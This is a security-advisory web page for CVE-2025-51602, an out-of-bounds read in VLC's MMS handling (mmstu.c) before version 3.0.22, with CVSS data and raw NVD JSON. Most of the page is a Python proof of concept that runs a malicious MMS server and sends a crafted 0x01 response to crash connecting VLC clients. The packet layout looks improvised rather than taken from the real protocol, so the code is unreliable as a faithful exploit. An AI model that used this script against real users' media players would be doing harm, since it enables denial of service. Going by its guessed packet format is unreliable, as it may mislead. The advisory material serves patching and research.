Security Vulnerability Report
中文
CVE-2025-51602 CVSS 4.8 MEDIUM

CVE-2025-51602

Published: 2026-01-16 18:16:08
Last Modified: 2026-04-15 00:35:42

Description

mmstu.c in VideoLAN VLC media player before 3.0.22 allows an out-of-bounds read and denial of service via a crafted 0x01 response from an MMS server.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

VideoLAN VLC media player < 3.0.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-51602 PoC - Malicious MMS Server Response Generator # This PoC generates a crafted MMS 0x01 response that triggers out-of-bounds read import socket import struct import sys def create_crafted_mms_response(): """Generate a malicious MMS 0x01 response with oversized fields""" # MMS header header = b'\x01\x00' # 0x01 response type # Protocol version header += struct.pack('<H', 0x0001) # Crafted response with oversized payload to trigger OOB read # The key is to set an incorrect length or offset field payload_size = 0xFFFF # Oversized value header += struct.pack('<I', payload_size) # Add padding to extend beyond expected buffer padding = b'\x41' * 1000 # 'A' padding response = header + padding return response def start_malicious_server(port=1755): """Start fake MMS server that sends crafted response""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(1) print(f"[*] Malicious MMS Server listening on port {port}") print("[*] Wait for VLC client connection...") while True: client, addr = server.accept() print(f"[+] Connection from {addr}") # Send crafted MMS response response = create_crafted_mms_response() client.send(response) print("[+] Sent crafted 0x01 response") client.close() if __name__ == "__main__": print("=== CVE-2025-51602 PoC ===") print("Target: VideoLAN VLC < 3.0.22") print("Vulnerability: Out-of-bounds read in mmstu.c") start_malicious_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-51602", "sourceIdentifier": "[email protected]", "published": "2026-01-16T18:16:08.480", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "mmstu.c in VideoLAN VLC media player before 3.0.22 allows an out-of-bounds read and denial of service via a crafted 0x01 response from an MMS server."}, {"lang": "es", "value": "mmstu.c en el reproductor multimedia VideoLAN VLC anterior a la versión 3.0.22 permite una lectura fuera de límites y denegación de servicio a través de una respuesta 0x01 especialmente diseñada de un servidor MMS."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://code.videolan.org/videolan/vlc/-/issues/29146", "source": "[email protected]"}, {"url": "https://www.videolan.org/security/sb-vlc3022.html", "source": "[email protected]"}, {"url": "https://lists.debian.org/debian-lts-announce/2026/03/msg00011.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}